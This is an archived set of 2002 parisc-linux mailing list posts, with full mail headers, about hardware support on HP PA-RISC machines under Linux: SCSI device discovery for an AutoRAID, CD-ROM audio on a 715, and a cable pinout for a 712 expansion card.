Normally on my HP-UX side I would hook up the AutoRAID, do an ioscan
-f, insf -e, and proceed to pvcreate/vgcreate/lvcreate, etc.  Since
there is no ioscan in Linux, how can you do a physical scan of the
hardware? Any hardware diagnostics?  Or if anyone can point me to some
other online resources that might be helpful, that would be great too. 
Thanks....

derek (lost in the Linux world)



P.S. If I start to get annoying with the basic questions about Linux,
you can blame HP for spoon feeding all of us hardware techs. ;)  I'm
just interested in furthering my knowledge of Linux since I don't
really get to fool around with HP-UX since most of the boxes I'm
working on are in a production environment.

__________________________________________________
Do You Yahoo!?
HotJobs - Search Thousands of New Jobs
http://www.hotjobs.com


From - Thu Nov 08 21:24:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CD-ROM Audio Output
Date: Wed, 14 Aug 2002 08:36:43 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <3D59FA7B.4050500@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621620 12323 80.91.229.3 (22 Nov 2014 02:00:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 14 21:44:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver1.hrz.tu-darmstadt.de (mailserver1.hrz.tu-darmstadt.de [130.83.126.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9698D4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Aug 2002 21:44:50 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (vpn24.stud.tu-darmstadt.de [130.83.175.24])
	by mailserver1.hrz.tu-darmstadt.de (8.12.1/8.12.1) with ESMTP id g7F3idFJ025191
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Aug 2002 05:44:40 +0200
User-Agent: Mozilla/5.0 (Windows; U; Win98; de-AT; rv:1.0.0) Gecko/20020530
X-Accept-Language: de, de-at, en, en-us
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15815

Hi there!

I want to install a CD-Drive in my 715/100. Is it possible to use the 
internal audio output of the CD-ROM in the same way it used in a PC? 
Which type of cable do I have to use?

TIA, Rdiger




From - Thu Nov 08 21:24:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD-ROM Audio Output
Date: Wed, 14 Aug 2002 23:45:38 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20020815054538.0F65937D00@carmen.fc.hp.com>
References: <3D59FA7B.4050500@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621620 12328 80.91.229.3 (22 Nov 2014 02:00:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, taggart@carmen.fc.hp.com
To: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 14 23:45:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id A06B64829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Aug 2002 23:45:41 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1b.fc.hp.com [15.15.136.127])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 2CCBEE005E2; Thu, 15 Aug 2002 01:45:41 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id DCAED380A7; Wed, 14 Aug 2002 23:45:38 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id CCB304541; Wed, 14 Aug 2002 23:45:38 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 0F65937D00; Wed, 14 Aug 2002 23:45:38 -0600 (MDT)
In-Reply-To: Your message of "Wed, 14 Aug 2002 08:36:43 +0200."
             <3D59FA7B.4050500@hrzpub.tu-darmstadt.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15816

=?ISO-8859-1?Q?R=FCdiger_Scholz?= writes...

> I want to install a CD-Drive in my 715/100. Is it possible to use the 
> internal audio output of the CD-ROM in the same way it used in a PC? 
> Which type of cable do I have to use?

The problem is where to connect it. There's no way to plug it in to the
built-in audio. One alternative might be to use an EISA or ISA soundcard
that has the right connector for a cdrom cable, but I'm not sure if
anyone's tried that yet. If anyone does, please post notes to the list.

If you want to listen to audio cd's you could just plug directly into the
cdrom output and then control the drive via scsi. That's what I used to
do with hpux and I don't see any reason why it shouldn't work. But then
you don't get the mixing with other sources that the sound card provides.

-- 
Matt Taggart
taggart@fc.hp.com


From - Thu Nov 08 21:24:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000/L2000 + FC60 Fiber Support
Date: Thu, 15 Aug 2002 00:01:30 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20020815060130.70A304829@dsl2.external.hp.com>
References: <002c01c242cc$a9f51cd0$a52efea9@kpnqwest.com>  <20020813142949.R27578@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621621 12334 80.91.229.3 (22 Nov 2014 02:00:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Ant=F3nio_Ribeiro?= <antonio.ribeiro@kpnqwest.pt>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 15 00:01:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 70A304829; Thu, 15 Aug 2002 00:01:30 -0600 (MDT)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Tue, 13 Aug 2002 14:29:49 BST." <20020813142949.R27578@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15817

Matthew Wilcox wrote:
> On Tue, Aug 13, 2002 at 02:23:49PM +0100, Antnio Ribeiro wrote:
> >     Fibre Channel: PCI device 103c:1028 (Hewlett-Packard Company) (rev 11).
> 
> according to the latest pci.ids, this is:
> Tach TL Fibre Channel Host Adapter

http://lists.parisc-linux.org/pipermail/parisc-linux/2002-August/017288.html

grant


From - Thu Nov 08 21:24:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Autoraid supported?
Date: Thu, 15 Aug 2002 00:18:03 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20020815061803.7FFD54829@dsl2.external.hp.com>
References: <20020815001133.84971.qmail@web12507.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621621 12342 80.91.229.3 (22 Nov 2014 02:00:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 15 00:18:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 7FFD54829; Thu, 15 Aug 2002 00:18:03 -0600 (MDT)
In-Reply-To: Message from Derek Engelhaupt <derekengelhaupt@rocketmail.com> 
   of "Wed, 14 Aug 2002 17:11:33 PDT." <20020815001133.84971.qmail@web12507.mail.yahoo.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15818

Derek Engelhaupt wrote:
> Being an HP-UX man I was wondering how Debian handles alternate (pv) links?

YMMV. The dual controller FC10 confused the shit out of the
Emulex lpfc driver. lpfc just doesn't know the FC10 might take
5-10 (or more)  seconds to reassign LUNs from one controller
to the other.  I don't expect much better from the SCSI stack
but it will depend on the interface driver.

...
> Normally on my HP-UX side I would hook up the AutoRAID, do an ioscan
> -f, insf -e, and proceed to pvcreate/vgcreate/lvcreate, etc.  Since
> there is no ioscan in Linux, how can you do a physical scan of the
> hardware?

At boot time, such a scan takes place.
You can look in /proc/scsi/scsi to see which SCSI devices have
been discovered.

> Any hardware diagnostics?  Or if anyone can point me to some
> other online resources that might be helpful, that would be great too. 
> Thanks....

See Debian scsitools and scsiadd packages.
Also learn about mounting file systems by label rather than
by device name

grant


From - Thu Nov 08 21:24:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD-ROM Audio Output
Date: Thu, 15 Aug 2002 10:22:29 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <3D5B64C5.6020303@hrzpub.tu-darmstadt.de>
References: <3D59FA7B.4050500@hrzpub.tu-darmstadt.de> <20020815054538.0F65937D00@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621621 12345 80.91.229.3 (22 Nov 2014 02:00:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:21 +0000 (UTC)
To: Matt Taggart <taggart@carmen.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 15 02:42:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver1.hrz.tu-darmstadt.de (mailserver1.hrz.tu-darmstadt.de [130.83.126.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 334A74829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Aug 2002 02:42:40 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (vpn24.stud.tu-darmstadt.de [130.83.175.24])
	by mailserver1.hrz.tu-darmstadt.de (8.12.1/8.12.1) with ESMTP id g7F8M6Bp004272;
	Thu, 15 Aug 2002 10:22:07 +0200
User-Agent: Mozilla/5.0 (Windows; U; Win98; de-AT; rv:1.0.0) Gecko/20020530
X-Accept-Language: de, de-at, en, en-us
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15819

That's bad. Cause my my 715 has no EISA/ISA-Slot. When I opened the 
machine, I recognized a 3-Pin-Connector (labeled J19) near the hinges 
and the power connector. So I thought this could be an audio connector...
Well, so let's do it the other way...

By the way: is it possible to get some documentation for my machine?

Matt Taggart wrote:

>The problem is where to connect it. There's no way to plug it in to the
>built-in audio. One alternative might be to use an EISA or ISA soundcard
>that has the right connector for a cdrom cable, but I'm not sure if
>anyone's tried that yet. If anyone does, please post notes to the list.
>
>If you want to listen to audio cd's you could just plug directly into the
>cdrom output and then control the drive via scsi. That's what I used to
>do with hpux and I don't see any reason why it shouldn't work. But then
>you don't get the mixing with other sources that the sound card provides.
>
>  
>





From - Thu Nov 08 21:24:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD-ROM Audio Output
Date: Thu, 15 Aug 2002 08:54:45 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20020815125445.GB522@systemhalted>
References: <3D59FA7B.4050500@hrzpub.tu-darmstadt.de> <20020815054538.0F65937D00@carmen.fc.hp.com> <3D5B64C5.6020303@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621621 12348 80.91.229.3 (22 Nov 2014 02:00:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:21 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: R?diger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 15 07:09:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id B50B24829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Aug 2002 07:09:14 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17fK9F-0000DW-00; Thu, 15 Aug 2002 08:54:45 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	R?diger Scholz <rscholz@hrzpub.tu-darmstadt.de>,
	Matt Taggart <taggart@carmen.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3D5B64C5.6020303@hrzpub.tu-darmstadt.de>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (13% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15820

On Thu, Aug 15, 2002 at 10:22:29AM +0200, R?diger Scholz wrote:
> That's bad. Cause my my 715 has no EISA/ISA-Slot. When I opened the 
> machine, I recognized a 3-Pin-Connector (labeled J19) near the hinges 
> and the power connector. So I thought this could be an audio connector...
> Well, so let's do it the other way...
> 
> By the way: is it possible to get some documentation for my machine?
> 

The 715 should have a expansion board with an EISA connector.

You can find the service doc at:
http://h20000.www2.hp.com/bc/docs/support/SupportManual/lpv37699/lpv37699.pdf

c.


From - Thu Nov 08 21:24:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: E Frank Ball <frankb@efball.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD-ROM Audio Output
Date: Thu, 15 Aug 2002 07:59:13 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20020815075913.B11476@zouave.sonic.net>
References: <3D59FA7B.4050500@hrzpub.tu-darmstadt.de> <20020815054538.0F65937D00@carmen.fc.hp.com> <3D5B64C5.6020303@hrzpub.tu-darmstadt.de> <20020815125445.GB522@systemhalted>
Reply-To: frankb@efball.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621622 12350 80.91.229.3 (22 Nov 2014 02:00:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 15 08:59:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zouave.sonic.net (zouave.sonic.net [209.204.172.153])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40BA34829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Aug 2002 08:59:15 -0600 (MDT)
Original-Received: from frizzen.efball.com (frizzen.efball.com [192.168.0.27])
	by zouave.sonic.net (Postfix) with ESMTP id 4255C66EF
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Aug 2002 07:59:14 -0700 (PDT)
Original-Received: by frizzen.efball.com (Postfix, from userid 4168)
	id 82E9640; Thu, 15 Aug 2002 07:59:13 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20020815125445.GB522@systemhalted>; from carlos@baldric.uwo.ca on Thu, Aug 15, 2002 at 08:54:45AM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15821

On Thu, Aug 15, 2002 at 08:54:45AM -0400, Carlos O'Donell wrote:
} On Thu, Aug 15, 2002 at 10:22:29AM +0200, R?diger Scholz wrote:
} > That's bad. Cause my my 715 has no EISA/ISA-Slot. When I opened the 
} > machine, I recognized a 3-Pin-Connector (labeled J19) near the hinges 
} > and the power connector. So I thought this could be an audio connector...
} > Well, so let's do it the other way...
} 
} The 715 should have a expansion board with an EISA connector.

Many of the 715s were sold without the EISA expansion board.

-- 

   E Frank Ball                frankb@efball.com


From - Thu Nov 08 21:24:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Additional Network Cards for 712
Date: Thu, 15 Aug 2002 20:33:19 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20020815193318.GB897@sleepie.demon.co.uk>
References: <20020812211608.B37236@azrael.smilehouse.com> <20020812185633.86255.qmail@web12506.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621622 12352 80.91.229.3 (22 Nov 2014 02:00:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:22 +0000 (UTC)
Cc: Harri Haataja <harri.haataja@cs.helsinki.fi>,
	parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 15 14:38:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc2-hem11-4-cust120.bre.cable.ntl.com [213.107.176.120])
	by dsl2.external.hp.com (Postfix) with ESMTP id E48E54829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Aug 2002 14:38:40 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 47D909EE55; Thu, 15 Aug 2002 20:33:19 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20020812185633.86255.qmail@web12506.mail.yahoo.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15822

On Mon, Aug 12, 2002 at 11:56:33AM -0700, Derek Engelhaupt wrote:
> Quick search of the parisc/linux yeilded:
>                  ---------------------------------
>                  \     o  o  3  o  o  o  7  8  9 /
>                   \  10 11 12 13  o  o 16 17 18 /
>                    \  19 20 21 22  o 24 25 26  /
>                      -------------------------
> 
>                12 13    20 19                 18  9  8  7  24
>        ---------------------------           -----------------
>   AUI   \ o  o  6  5  o  3  2  o /           \ 1  2  3  4  5 / RS232
>          \  o 10 11 12  o 14 15 /             \  6  7  8  9 /
>           ---------------------                ------------
>               22 21  3    11 10                 26 25 17 16

I believe that diagram is wrong; note how the numbering on the AUI
connector is shown as going right to left on the top row, and left to
right on the bottow row.  D-type connectors are normally numbered in the
same direction on all rows, as the other two in the above are numbered.
Anyway, I reversed the bottom row of the AUI diagram, built a cable, and
it worked.  My notes are below.

Many thanks to Matt for the original info anyway, without that I'd have
been stuck.

Richard



Pinout for RS232/AUI cable(A2263-62045) for 712 card (A2263-66536)
------------------------------------------------------------------
There is a card for the 712(HP part #A2263-66536) that provides 2nd AUI lan
and 2nd DB9 RS232 port. The back of the card has a 26 pin connector and the
15pin AUI and 9pin RS232 connectors are provided by a special Y cable
(A2263-62045) which are pretty hard to find. Here is the pinout of this cable
in case you need to make one.

These diagrams are looking at the end of the connector not the back. Make
sure to take that into account if building a cable. Pin numbering is taken
from the numbers on the plastic in the cable. If a pin is not connected it
is represented as an "o". The numbers outside the bottom connectors are the
pin numbers that that pin is connected to on the top connector.

<pre>

                 ---------------------------------
                 \   .o .o .3 .o .o .o .7 .8 .9  /
                  \ 10 11 12 13 .o .o 16 17 18 /
                   \ 19 20 21 22 .o 24 25 26  /
                     -------------------------

                12 13    20 19         18  9  8  7 24
        ---------------------------  -----------------
  AUI   \ .o .o .6 .5 .o .3 .2 .o /  \ .1 .2 .3 .4 .5 / RS232
         \ .o 14 13 12 .o 10 .9 /     \ .6 .7 .8 .9  /
          ---------------------         ------------
              22 21  3    11 10         26 25 17 16 

26 way		15 way		26 way		9 way

3	white	12		7	black	4
10	yellow	9		8	brown	3
11	blue	10		9	purple	2
12	black	6		16	yellow	9
13	brown	5		17	red	8
19	grey	2		18	green	1
20	red	3		24	grey	5
21	pink	13		25	liblue	7
22	green	14		26	pink	6

</pre>



From - Thu Nov 08 21:24:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] unreliable mmap on 720
Date: Thu, 15 Aug 2002 23:49:24 +0200 (CEST)
Lines: 84
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0208152341001.18472-100000@gfrw1044.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
